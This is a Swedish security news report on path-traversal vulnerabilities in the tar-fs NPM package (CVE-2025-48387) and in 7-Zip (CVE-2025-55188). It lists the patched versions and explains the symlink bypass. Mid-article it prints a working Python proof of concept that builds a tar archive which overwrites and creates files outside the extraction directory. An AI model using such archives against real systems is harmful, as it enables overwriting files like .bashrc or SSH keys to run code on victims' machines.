Sårbarheter i tar-fs och 7-Zip som gör det möjligt att skriva filer utanför grundkatalogen

I NPM-paketet tar-fs har en sårbarhet identifierats (CVE-2025-48387) som gör det möjligt att skriva filer till valfria delar av filsystemet vid extrahering av ett speciellt formaterat tar-arkiv, utan begränsning till den katalog där extraheringen sker (beroende på rättigheterna för den aktuella användaren). Sårbarheten kan också användas för att skriva över befintliga filer, till exempel för att köra egen kod i systemet kan filer som «.ssh/id_rsa» eller «.bashrc» i användarens hemkatalog skrivas över.

Problemet har tilldelats en kritisk fara med hänsyn till att paketet tar-fs har 23 miljoner nedladdningar i veckan och används som beroende i 1155 projekt. Sårbarheten åtgärdades i versioner 3.0.9, 2.1.3 och 1.16.5, som släpptes i maj, men information om sårbarheten offentliggjordes först nästan 3 månader senare.

Sårbarheten orsakas av otillräckliga kontroller av symboliska och hårda länkar som finns i arkivet för att se om de går utanför den avsedda katalogen för extrahering. För att kringgå kontrollerna används två symboliska länkar: den första pekar på roten av den katalog där arkivet extraheras («.»), och den andra skapas relativt till den första symboliska länken och använder tecknen «../» i sitt namn för att gå utanför grundkatalogen. Till exempel pekar den första länken «noop/noop/noop» på «.», medan den andra «noop/noop/noop/../../../..» utvidgas till «./../../../..». För att åstadkomma filöverskrivning i arkivet kan en hård länk skapas som hänvisar till en extern fil relativt den andra symboliska länken. import tarfile import io with tarfile.open(«poc.tar», mode=»x») as tar: root = tarfile.TarInfo(«root») root.linkname = («noop/» * 15) + («../» * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo(«noop») noop.linkname = «.» noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo(«hardflag») hard.linkname = «root/home/username/flag/flag» hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b»overwrite\n» overwrite = tarfile.TarInfo(«hardflag») overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b»new!\n» newfile = tarfile.TarInfo(«root/home/username/flag/newfile») newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content))

En liknande sårbarhet (CVE-2025-55188) har identifierats i komprimeringsverktyget 7-Zip. För att skriva filer utanför grundkatalogen i 7-Zip kan också symboliska länkar användas, som innehåller sekvensen «..\/» i filvägen. Problemet kan utnyttjas vid dekomprimering med 7-Zip av vilken komprimerad fil som helst som stöder symboliska länkar, till exempel zip, tar, 7z och rar. Problemet har åtgärdats i version 7-Zip 25.01.

Källa: opennet.ru